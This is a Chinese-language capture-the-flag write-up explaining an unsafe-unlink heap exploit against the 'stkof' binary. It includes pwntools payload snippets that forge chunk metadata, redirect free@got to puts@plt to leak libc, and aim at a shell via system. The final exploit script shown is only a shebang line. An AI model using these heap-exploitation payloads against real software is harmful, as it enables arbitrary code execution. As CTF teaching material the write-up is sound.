基本信息
1 | stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped |
1 | Canary : Yes |
和shellman不同的是,程序中不提供输出的函数,所以需要通过unlink漏洞实现任意地址读写,修改free@got为puts@plt。
程序基本功能
程序存在 4 个功能,经过 IDA 分析后可以分析功能如下
- alloc:输入 size,malloc(size),并在 bss 段(0x602148)记录对应 chunk 的指针
- read_in:输入索引,向分配的内存处写入数据,数据长度可控,这里存在堆溢出的情况
- free:输入索引,free已经分配的内存块
- useless:无用
基本思路
根据unsafe unlink原理,malloc三个chunk(第一个0x100的chunk是为什么解决IO缓冲区的问题)。
向第一个chunk写入伪造的数据,并溢出第二个chunk。
1
2
3
4
5
6
7
8
9
10payload = p64(0) #chunk2
payload += p64(0x30)
payload += p64(ptr+0x10-0x18)
payload += p64(ptr+0x10-0x10)
payload = payload.ljust(0x30,'a')
payload += p64(0x30) #chunk3
payload += p64(0x90)
edit(2,payload)
free(3) # 0x602150 -> 0x602138free(3)之后,获得了一个可控的指针0x602150 -> 0x602138
0x602150存储的是malloc(chunk2)返回的指针,所以当向chunk2中写数据时,数据会被写到0x602138处。通过这个指向自己
-0x18
地址的指针,可以修改chunk1返回指针的内容为free的got地址,修改chunk2返回指针的内容为puts的地址。1
2payload = 'a'*16 + p64(stkof.got['free']) + p64(stkof.got['puts'])
edit(2,payload)此时chunk1的指针指向了free@got的地址,那么向其中写入puts@plt的地址的话,程序调用free函数时就会调用puts函数。此时chunk2的指针指向了puts@got的地址,再free(2)的话其实执行的puts(2),就会打印chunk2返回指针指向的内容,即puts(puts@got),从而获得了puts的地址。
1
2
3
4
5payload = p64(stkof.plt['puts'])
edit(1,payload)
free(2)
puts_addr = p.recvuntil('\nOK\n',drop=True).ljust(8,'\00')
puts_addr = u64(puts_addr)接着泄露并计算出system的地址,再次修改chunk1返回指针的内容为system的got地址,free(chunk3)中的内容就可以获得shell
EXP
1 | #!/usr/bin/env python |